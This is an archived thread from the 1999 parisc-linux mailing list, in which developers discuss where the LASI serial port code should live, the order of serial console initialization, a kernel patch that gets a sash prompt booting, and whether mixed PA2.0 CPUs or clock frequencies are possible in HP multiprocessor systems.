X-Trace: ger.gmane.org 1416619795 14296 80.91.229.3 (22 Nov 2014 01:29:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@rock.cup.hp.com>
Original-X-From: dkennedy@thepuffingroup.com  Mon Oct 18 12:52:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA20789
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Oct 1999 12:52:05 -0600
Original-Received: (qmail 24448 invoked by uid 15267); 18 Oct 1999 18:52:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24440 invoked from network); 18 Oct 1999 18:52:50 -0000
Original-Received: from mrelay.bellglobal.com (198.235.216.100)
  by mailserv2.iuinc.com with SMTP; 18 Oct 1999 18:52:50 -0000
Original-Received: from grasshopper.thepuffingroup.com by mrelay.bellglobal.com
 (PMDF V5.1-12 #26722) with ESMTP id <0FJT00AAPB3K0O@mrelay.bellglobal.com> for
 parisc-linux@thepuffingroup.com; Mon, 18 Oct 1999 14:52:36 -0400 (EDT)
In-reply-to: <199910180537.WAA20422@rock.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10029

On Sun, 17 Oct 1999, Grant Grundler wrote:

> But I mainly write to question the location of LASI serial port code.
> I don't know if it's "right" to have this code in lasi.c.  I'd like
> to understand if it is and why. I'm confused because Lasi SCSI support
> is in lasi7xx.c.  Is it reasonable to create a lasi_RS232.c (or whatever)?

The reason why it is in lasi7xx.c is because it is called from the
SCSI code and not from anywhere else.  There is no serial code which
goes through a possible list of serial device drivers trying each one.
It was placed in lasi.c to get it working.  I'm not sure exactly where
it is supposed to be either.

We had to do a nasty hack to get the serial console to work.  The
serial console is initialized much before the lasi initialization code
is called.  This should be fixed.  My suggestion was in the serial
console to mark the fact there is supposed to be a serial console, and
then in lasi.c actually initialize it.  I don't know any other way
around the fact that you have to initialize lasi before lasi serial
stuff.

The other idea I had was to create a function which would be called to
check if lasi is initialized.  This function would just return wether or
not it is.  From there, lasi initialization would be called.  The
reason why I think this is because we have a lot of lasi code which
isn't called from the lasi initialization routine (serial console,
scsi) and it would be nice to ensure that lasi is initialized before
_ANY_ of lasi gets used.  Having an implicit requirement that
lasi_init is called before the scsi code is, in my opinion, bad.
Explicitly checking to ensure that the lasi is initialized is better.

> And I'm thinking keeping the lasi.c/h files smaller is a good thing.
> One can also modularize the support better (ie put the ifdef in the
> Makefile instead).  Other thoughts on this?
> If it's the "right" thing to do, any volunteers?

Breaking it out into separate files sounds good to me.  The
initialization routine in lasi.c should call a function call for
initialize of each component of lasi one after another with ifdefs
around each function call.

Does anyone else have any other suggestions?

-- 
David Kennedy
The Puffin Group


From - Thu Nov 08 21:16:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Start sash ...
Date: Mon, 18 Oct 1999 16:13:38 -0400 (EDT)
Lines: 163
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910181613030.3965-100000@vodka.thepuffingroup.com>
References: <19991016221253.A1893@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619796 14298 80.91.229.3 (22 Nov 2014 01:29:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: adevries@thepuffingroup.com  Mon Oct 18 14:12:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA21299
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Oct 1999 14:12:58 -0600
Original-Received: (qmail 24054 invoked by uid 15267); 18 Oct 1999 20:08:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24047 invoked from network); 18 Oct 1999 20:08:45 -0000
Original-Received: from mrelay.bellglobal.com (198.235.216.100)
  by mailserv2.iuinc.com with SMTP; 18 Oct 1999 20:08:45 -0000
Original-Received: from vodka.thepuffingroup.com by mrelay.bellglobal.com
 (PMDF V5.1-12 #26722) with ESMTP id <0FJT00CTSEJIFD@mrelay.bellglobal.com> for
 parisc-linux@thepuffingroup.com; Mon, 18 Oct 1999 16:06:55 -0400 (EDT)
In-reply-to: <19991016221253.A1893@alpha.franken.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10030


Thomas,

Getting to a sash prompt is pretty cool, but could you mail a complete
patch against what's in CVS? We're all pretty excited about it.

- Alex

-- 
Alex deVries <adevries@thepuffingroup.com>
Vice President Engineering
The Puffin Group

On Sat, 16 Oct 1999, Thomas Bogendoerfer wrote:

> On Sat, Oct 16, 1999 at 12:46:56PM +0200, Thomas Bogendoerfer wrote:
> > Well, it *smells* like a valid SOM executable
> > (start_brk) 40017000
> > (end_code) 0003c000
> > (start_code) 00001000
> > (end_data) 40008000
> > (start_stack) 2000002c
> > (brk) 40017000
> > Stand-alone shell (version 2.1)> 
> 
> (start_stack) 2000002c
> (brk) 40017000
> Stand-alone shell (version 2.1)
> > help
> alias      [name [command]]
> cd         [dirname]
> -chgrp     gid filename ...
> -chmod     mode filename ...
> -chown     uid filename ...
> -cmp       filename1 filename2
> -cp        srcname ... destname
> -dd        if=name of=name [bs=n] [count=n] [skip=n] [seek=n]
> -echo      [args] ...
> -ed        [filename]
> exec       filename [args]
> exit       
> -grep      [-in] word filename ...
> help       [word]
> -kill      [-sig] pid ...
> -ln        [-s] srcname ... destname
> -ls        [-lid] filename ...
> -mkdir     dirname ...
> -mknod     filename type major minor
> -more      filename ...
> -mount     [-t type] [-r] [-m] devname dirname
> -mv        srcname ... destname
> -printenv  [name]
> prompt     string
> -pwd       
> quit       
> -rm        filename ...
> -rmdir     dirname ...
> setenv     name value
> source     filename
> -sync      
> -tar       [xtv]f devname filename ...
> -touch     filename ...
> umask      [mask]
> -umount    filename
> unalias    name
> -where     program
> > -pwd
> /
> > 
> 
> 
> Serial Interrupts are definitly not working. I'm now running the uart in 
> polling mode and I had to force use 16550A mode. Below is a patchset of my
> hacks.  You need a fixed posix_types.h and bitops.h, too. I haven't tested 
> the cvs version, yet.
> 
> Thomas.
> 
> PS: I'll be next week at Systems in Munich. You can find me at the Linuxpark 
> HP booth (hall A3, No. 404-22) during the whole week.
> 
> Index: arch/parisc/mm/fault.c
> ===================================================================
> RCS file: /home/cvs/parisc/linux/arch/parisc/mm/fault.c,v
> retrieving revision 1.11
> diff -u -r1.11 fault.c
> --- arch/parisc/mm/fault.c	1999/10/14 21:08:36	1.11
> +++ arch/parisc/mm/fault.c	1999/10/16 20:06:43
> @@ -206,6 +208,7 @@
>  	}
>  
>  	prot = translate_pte(*ptep);
> +	prot |= 0x03000000;
>  
>  	pa = (pte_val(*ptep)&~4095);
>  
> Index: drivers/char/serial.c
> ===================================================================
> RCS file: /home/cvs/parisc/linux/drivers/char/serial.c,v
> retrieving revision 1.7
> diff -u -r1.7 serial.c
> --- drivers/char/serial.c	1999/10/15 19:30:30	1.7
> +++ drivers/char/serial.c	1999/10/16 20:06:43
> @@ -1175,6 +1175,8 @@
>  		goto errout;
>  	}
>  
> +	state->type = PORT_16550A; /* no idea why type is 0 at this point */
> +
>  	if (!CONFIGURED_SERIAL_PORT(state) || !state->type) {
>  		if (info->tty)
>  			set_bit(TTY_IO_ERROR, &info->tty->flags);
> Index: drivers/gecko/lasi.c
> ===================================================================
> RCS file: /home/cvs/parisc/linux/drivers/gecko/lasi.c,v
> retrieving revision 1.13
> diff -u -r1.13 lasi.c
> --- drivers/gecko/lasi.c	1999/10/15 19:30:30	1.13
> +++ drivers/gecko/lasi.c	1999/10/16 20:06:44
> @@ -263,7 +263,9 @@
>          serial->type = PORT_UNKNOWN; // else: PORT_16550A;
>          serial->line = 0;
>  	serial->port = ((unsigned int) d->hpa) + 0x800;
> -        serial->irq = 256 + 5;	// FIXME: lasi->region->data.irqbase + 5
> +	serial->iomem_base = ((unsigned int) d->hpa) + 0x800;
> +        // serial->irq = 256 + 5;	// FIXME: lasi->region->data.irqbase + 5
> +        serial->irq = 0;
>          serial->io_type = SERIAL_IO_GSC;
>          serial->flags = ASYNC_SKIP_TEST; // else autoconfig() will fail !
>          serial->xmit_fifo_size = 16;
> Index: init/main.c
> ===================================================================
> RCS file: /home/cvs/parisc/linux/init/main.c,v
> retrieving revision 1.23
> diff -u -r1.23 main.c
> --- init/main.c	1999/10/15 19:30:31	1.23
> +++ init/main.c	1999/10/16 20:06:47
> @@ -1425,6 +1425,7 @@
>  	 */
>  
>  	execute_command = "/sbin/init";
> +	argv_init[1] = NULL;
>  	if (execute_command)
>  		do_execve(execute_command,argv_init,envp_init,NULL);
>  	panic("No init found.  Try passing init= option to kernel.");
> 
> 
> 
> 
> 
> -- 
>    This device has completely bogus header. Compaq scores again :-|
> It's a host bridge, but it should be called ghost bridge instead ;^)
>                                         [Martin `MJ' Mares on linux-kernel]
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 
> 
> 


From - Thu Nov 08 21:16:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi Serial support
Date: Mon, 18 Oct 1999 16:17:13 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910181616010.3965-100000@vodka.thepuffingroup.com>
References: <199910180537.WAA20422@rock.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619796 14300 80.91.229.3 (22 Nov 2014 01:29:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@rock.cup.hp.com>
Original-X-From: adevries@thepuffingroup.com  Mon Oct 18 14:14:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA21401
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Oct 1999 14:14:53 -0600
Original-Received: (qmail 24797 invoked by uid 15267); 18 Oct 1999 20:10:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24790 invoked from network); 18 Oct 1999 20:10:32 -0000
Original-Received: from mrelay.bellglobal.com (198.235.216.100)
  by mailserv2.iuinc.com with SMTP; 18 Oct 1999 20:10:32 -0000
Original-Received: from vodka.thepuffingroup.com by mrelay.bellglobal.com
 (PMDF V5.1-12 #26722) with ESMTP id <0FJT00CT2EPHRJ@mrelay.bellglobal.com> for
 parisc-linux@thepuffingroup.com; Mon, 18 Oct 1999 16:10:30 -0400 (EDT)
In-reply-to: <199910180537.WAA20422@rock.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10031

On Sun, 17 Oct 1999, Grant Grundler wrote:
> But I mainly write to question the location of LASI serial port code.
> I don't know if it's "right" to have this code in lasi.c.  I'd like
> to understand if it is and why. I'm confused because Lasi SCSI support
> is in lasi7xx.c.  Is it reasonable to create a lasi_RS232.c (or whatever)?

In part because the serial ports are recognized as a seperate inventory
item, I think it makes sense to move the lasi serial stuff into
drivers/char/lasi_serial.c.  Grant, want to take care of this?

- Alex



From - Thu Nov 08 21:16:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] different PA2.0 CPUs in the same box?
Date: Mon, 18 Oct 1999 19:03:33 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910181901560.4519-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619796 14307 80.91.229.3 (22 Nov 2014 01:29:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Mon Oct 18 16:56:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA22294
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Oct 1999 16:56:01 -0600
Original-Received: (qmail 23847 invoked by uid 15267); 18 Oct 1999 22:56:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23840 invoked from network); 18 Oct 1999 22:56:52 -0000
Original-Received: from mrelay.bellglobal.com (198.235.216.100)
  by mailserv2.iuinc.com with SMTP; 18 Oct 1999 22:56:52 -0000
Original-Received: from vodka.thepuffingroup.com by mrelay.bellglobal.com
 (PMDF V5.1-12 #26722) with ESMTP id <0FJT00HQRMEQ4E@mrelay.bellglobal.com> for
 parisc-linux@thepuffingroup.com; Mon, 18 Oct 1999 18:56:51 -0400 (EDT)
Xref: news.gmane.org gmane.linux.ports.parisc:10032


Can you mix and match different PA2.0 CPUs in a multiprocessor box?  An
8000 and an 8200?  

- Alex

-- 
Alex deVries <adevries@thepuffingroup.com>
Vice President Engineering
The Puffin Group


From - Thu Nov 08 21:16:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim_hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] different PA2.0 CPUs in the same box?
Date: Mon, 18 Oct 1999 16:10:05 -0700
Lines: 7
Approved: news@gmane.org
Message-ID: <000201bf19bd$e9be9d40$4b58000f@jh733131.cup.hp.com>
References: <Pine.LNX.4.10.9910181901560.4519-100000@vodka.thepuffingroup.com>
Reply-To: <hull@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619796 14311 80.91.229.3 (22 Nov 2014 01:29:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:56 +0000 (UTC)
To: "Alex deVries" <adevries@thepuffingroup.com>,
        <parisc-linux@thepuffingroup.com>
Original-X-From: jim_hull@hp.com  Mon Oct 18 17:10:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA22594
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Oct 1999 17:10:12 -0600
Original-Received: (qmail 28583 invoked by uid 15267); 18 Oct 1999 23:11:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28572 invoked from network); 18 Oct 1999 23:11:03 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 18 Oct 1999 23:11:03 -0000
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by cosrel2.hp.com (8.9.3 (PHNE_18979)/8.8.5tis) with ESMTP id RAA12601;
	Mon, 18 Oct 1999 17:10:11 -0600 (MDT)
Original-Received: from jh733131 (jh73313p.cup.hp.com [15.0.88.75]) by lucy.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id QAA23716; Mon, 18 Oct 1999 16:10:07 -0700 (PDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
In-Reply-To: <Pine.LNX.4.10.9910181901560.4519-100000@vodka.thepuffingroup.com>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
Importance: Normal
Xref: news.gmane.org gmane.linux.ports.parisc:10033

> Can you mix and match different PA2.0 CPUs in a multiprocessor box?  An
> 8000 and an 8200?  

No.

 -- Jim


From - Thu Nov 08 21:16:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] different PA2.0 CPUs in the same box?
Date: Mon, 18 Oct 1999 22:31:15 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <199910190531.WAA27190@milano.cup.hp.com>
References: <Pine.LNX.4.10.9910181901560.4519-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619797 14314 80.91.229.3 (22 Nov 2014 01:29:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Mon Oct 18 23:30:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA23907
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Oct 1999 23:30:30 -0600
Original-Received: (qmail 31392 invoked by uid 15267); 19 Oct 1999 05:31:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31379 invoked from network); 19 Oct 1999 05:31:22 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 19 Oct 1999 05:31:22 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id WAA24417;
	Mon, 18 Oct 1999 22:31:15 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id WAA27190; Mon, 18 Oct 1999 22:31:15 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 18 Oct 1999 19:03:33 PDT."
             <Pine.LNX.4.10.9910181901560.4519-100000@vodka.thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10034

Alex deVries wrote:
> 
> Can you mix and match different PA2.0 CPUs in a multiprocessor box?
> An 8000 and an 8200?  

And HP hasn't mix/matched processor clock frequency's in one box either.
870 (4-way/PA1.0/CIO) I think had something funny about the clocks which
I think was repeated in the T-class and possible planned in newer
architectures. Can anyone shed more light on this?

Minimizing clock drift of the various processors in an SMP box is
a difficult problem. Keeping accurate time is important but
synchronization of processors too often can really hurt performance.

grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: R Scott Holbrook (HP-DESK: hp4000/UX) <rsh@scoot.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] different PA2.0 CPUs in the same box?
Date: Tue, 19 Oct 1999 09:40:33 -0600
Organization: Hewlett-Packard Unix Development Lab
Lines: 10
Approved: news@gmane.org
Message-ID: <199910191540.JAA08957@scoot.fc.hp.com>
References: <Pine.LNX.4.10.9910181901560.4519-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619797 14317 80.91.229.3 (22 Nov 2014 01:29:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: rsh@scoot.fc.hp.com  Tue Oct 19 09:39:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA25737
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Oct 1999 09:39:47 -0600
Original-Received: (qmail 14252 invoked by uid 15267); 19 Oct 1999 15:40:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14239 invoked from network); 19 Oct 1999 15:40:36 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 19 Oct 1999 15:40:36 -0000
Original-Received: from scoot.fc.hp.com (root@scoot.fc.hp.com [15.1.52.6])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id JAA01108;
	Tue, 19 Oct 1999 09:40:34 -0600 (MDT)
Original-Received: from localhost (rsh@localhost [127.0.0.1]) by scoot.fc.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.1) id JAA08957; Tue, 19 Oct 1999 09:40:33 -0600 (MDT)
X-Authentication-Warning: scoot.fc.hp.com: rsh@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of Mon, 18 Oct 1999 19:03:33 -0400.
    (Can you mix and match different PA2.0 CPUs in a multiprocessor ...)
             <Pine.LNX.4.10.9910181901560.4519-100000@vodka.thepuffingroup.com> 
X-Address: Mail Stop 99
    3404 East Harmony Road
    Fort Collins, CO  80528-9599
X-Phone: (970) 898-6248
X-Mailer: MH 6.8
Xref: news.gmane.org gmane.linux.ports.parisc:10035

Alex,

> Can you mix and match different PA2.0 CPUs in a multiprocessor box?
> An 8000 and an 8200?  

No.  All the CPUs will be the same type and run at the same frequency
(and have the same cache size, etc).

Scott


From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] different PA2.0 CPUs in the same box?
Date: Tue, 19 Oct 1999 09:04:41 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <199910191604.JAA27382@milano.cup.hp.com>
References: <199910190531.WAA27190@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619797 14322 80.91.229.3 (22 Nov 2014 01:29:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Oct 19 10:04:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA26115
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Oct 1999 10:04:07 -0600
Original-Received: (qmail 24389 invoked by uid 15267); 19 Oct 1999 16:05:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24382 invoked from network); 19 Oct 1999 16:05:00 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 19 Oct 1999 16:05:00 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id MAA18876
	for <parisc-linux@thepuffingroup.com>; Tue, 19 Oct 1999 12:04:01 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id JAA27382 for <parisc-linux@thepuffingroup.com>; Tue, 19 Oct 1999 09:04:42 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 18 Oct 1999 22:31:15 PDT."
             <199910190531.WAA27190@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10036

Grant Grundler wrote:
> Alex deVries wrote:
> > 
> > Can you mix and match different PA2.0 CPUs in a multiprocessor box?
> > An 8000 and an 8200?  
> 
> And HP hasn't mix/matched processor clock frequency's in one box either.
> 870 (4-way/PA1.0/CIO) I think had something funny about the clocks which
> I think was repeated in the T-class and possible planned in newer
> architectures. Can anyone shed more light on this?

I think I remember the problem now.

The processors can run from a "system clock" and they all run synchronous.
No chance of "clock drift" since they run at exactly the same pace.
But on systems like 870, T-class and N-class, the processors are fed clock
signals from (similar but) different sources.  Each frequency domain will
slowly drift from the "average" and thus the processor clocks need to be
resyncronized regularly.

> Minimizing clock drift of the various processors in an SMP box is
> a difficult problem. Keeping accurate time is important but
> synchronization of processors too often can really hurt performance.

grant


From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LASI and serial port initialization
Date: Tue, 19 Oct 1999 09:30:45 -0700
Lines: 65
Approved: news@gmane.org
Message-ID: <199910191630.JAA27454@milano.cup.hp.com>
References: <99101821580101.00297@P100>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619798 14324 80.91.229.3 (22 Nov 2014 01:29:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:58 +0000 (UTC)
Cc: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Oct 19 10:29:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA26532
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Oct 1999 10:29:54 -0600
Original-Received: (qmail 2046 invoked by uid 15267); 19 Oct 1999 16:30:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2035 invoked from network); 19 Oct 1999 16:30:45 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 19 Oct 1999 16:30:45 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by cosrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id KAA06368
	for <parisc-linux@thepuffingroup.com>; Tue, 19 Oct 1999 10:30:45 -0600 (MDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id JAA27454; Tue, 19 Oct 1999 09:30:45 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 18 Oct 1999 21:49:29 PDT."
             <99101821580101.00297@P100> 
Xref: news.gmane.org gmane.linux.ports.parisc:10037


Helge and I exchanged some e-mail on the topic of LASI vis a vie
serial port initialization. Since then, I've come to the conclusion
all (or most) parisc platforms will have a similar problem.

The problem is LASI is "discovered" and initialized well after several
other drivers want to print things to the console. I see a few options
on how to handle it:
1) For each platform, force the console to be the first device "discovered"
   and initialized. This is not a really good idea since console can be
   different depending on configuration. Rebuilding the kernel to use
   a different console doesn't seem reasonable to me. Having the user
   figure out which devices need to be initialized first and build an
   appropriate kernel so console works also seems unreasonable.  We are
   headed down this path now though....

2) Use IODC until the console device is "owned" by the appropriate driver
   and can start taking input/output. 

3) buffer the output instead of calling IODC.
   Size of the buffer will impose some sort of limit.
   I think this is what HP-UX does but don't really know
   and it shouldn't matter to us.

Either 2 or 3 requires some software layer behind printk to change
behavior at some point. I don't know where that point is or how
exactly to define it. I just thought going down path #1 is going
to be a real pain to support on a broad set of platforms.

Any other thoughts?

BTW, I still don't know if Helge's changes to inventory.c are
needed or not. I don't have the warm fuzzy feeling they are needed
but can't prove they aren't either.

grant

Helge Deller wrote:
> Am Mon, 18 Oct 1999 schrieben Sie:
> > Helge,
> > I never understood this chunk of very well. I was wondering
> > why you moved code from the case HPHW_BA to outside the switch
> > statement in do_oldhw_inventory()? (inventory.c)
> > 
> > If this is of general interest please post to parisc-linux...
> > 
> > thanks,
> > grant
> 
> Hi Grant.
> 
> I just wanted to get it working, so I moved stuff around until it worked. Wit
>   h
> this I found, that the LASI-Controller should be added to the list before all
> other stuff underlying the lasi (same is also to the WAX(??)-controller with
